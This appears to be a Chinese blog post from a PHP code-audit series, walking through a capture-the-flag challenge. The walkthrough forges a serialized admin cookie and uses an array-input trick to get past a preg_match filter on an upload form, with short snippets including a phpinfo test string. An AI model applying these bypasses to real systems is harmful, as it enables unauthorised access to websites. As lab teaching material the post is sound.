PHP程式碼審計分段講解(14)
阿新 • • 發佈:2020-07-28
30題利用提交陣列繞過邏輯
原始碼如下:
<?php $role = "guest"; $flag = "flag{test_flag}"; $auth = false; if(isset($_COOKIE["role"])){ $role = unserialize(base64_decode($_COOKIE["role"])); if($role === "admin"){ $auth = true; } else{ $auth = false; } } else{ $role = base64_encode(serialize($role)); setcookie('role',$role); } if($auth){ if(isset($_POST['filename'])){ $filename = $_POST['filename']; $data = $_POST['data']; if(preg_match('[<>?]', $data)) { die('No No No!'.$data); } else { $s = implode($data); if(!preg_match('[<>?]', $s)){ $flag='None.'; } $rand = rand(1,10000000); $tmp="./uploads/".md5(time() + $rand).$filename; file_put_contents($tmp, $flag); echo "your file is in " . $tmp; } } else{ echo "Hello admin, now you can upload something you are easy to forget."; echo "<br />there are the source.<br />"; echo '<textarea rows="10" cols="100">'; echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__))); echo '</textarea>'; } } else{ echo "Sorry. You have no permissions."; } ?>
首先給出了$role和$auth的初始值
$role = "guest"; $auth = false;
如果在COOKIE中沒有傳值的話,就會進入else,將初始值設定在COOKIE裡
else{ $role = base64_encode(serialize($role)); setcookie('role',$role); }
從後面的邏輯上看,我們需要令
$auth=true
所以需要手動傳入role值,通過邏輯
if(isset($_COOKIE["role"])){ $role = unserialize(base64_decode($_COOKIE["role"])); if($role === "admin"){ $auth = true; } else{ $auth = false; } }
這裡對傳入的 role 進行base64解密後反序列化,將結果賦值給$role
$role = unserialize(base64_decode($_COOKIE["role"]));
然後想要令
$auth=true
前提條件為:
$role === "admin"
這個是我們可以控制的
編寫程式碼
<?php $role='admin'; $role1=base64_encode(serialize($role)); echo $role1; ?>
得到
role=czo1OiJhZG1pbiI7
可以看到成功繞過了第一個點
繼續往下看
當 $auth 為 true的時候,進行:
if(isset($_POST['filename'])){ $filename = $_POST['filename']; $data = $_POST['data']; if(preg_match('[<>?]', $data)) { die('No No No!'.$data); } else { $s = implode($data); if(!preg_match('[<>?]', $s)){ $flag='None.'; } $rand = rand(1,10000000); $tmp="./uploads/".md5(time() + $rand).$filename; file_put_contents($tmp, $flag); echo "your file is in " . $tmp; } }
可以看出來是上傳檔案的程式碼,具體為:
傳入檔名和檔案內容:filename 和 data
if(isset($_POST['filename'])){ $filename = $_POST['filename']; $data = $_POST['data'];
判斷$data中是否有一句話木馬標識,有的話則退出
if(preg_match('[<>?]', $data)) { die('No No No!'.$data); }
沒有的話 else 結構,這裡有一句
$s = implode($data);
應該是上傳一句話木馬的突破點。
關於 implode()函式,有:
定義:
implode()函式返回由陣列元素組合成的字串
示例:
<?php $arr = array('Hello','World!','Beautiful','Day!'); echo implode(" ",$arr); ?>輸出:
Hello World! Beautiful Day!
而我們在前面的程式碼審計中,知道preg_match()函式只能處理字串,當傳入的變數是陣列是會返回false,這裡正好滿足,可以編寫程式碼測試
<?php $data[]='<?php phpinfo();?>'; if(preg_match('[<>?]', $data)) { die('No No No!'.$data); }else{ echo "yes!"; } ?>
輸出為
yes! PHP Warning: preg_match() expects parameter 2 to be string, array given in /usercode/file.php on line 3
雖然有警告,但是還是成功繞過了。
這裡的程式碼
if(!preg_match('[<>?]', $s)){ $flag='None.'; }
表示如果變數$s中沒有匹配到特定字元的話就令$flag為空,這樣在後面的檔案寫入時,也不能獲取到flag了。
$rand = rand(1,10000000); $tmp="./uploads/".md5(time() + $rand).$filename; file_put_contents($tmp, $flag);
這裡是生成一個隨機的檔名,並且將 flag 內容寫進去
最後是輸出檔名
echo "your file is in " . $tmp;
我們繞過後 flag 會寫入到 檔名隨機生成的檔案中,該檔名最後是可知的。
按照之前分析的過程,很容易可以構建出payload
訪問獲取flag
結束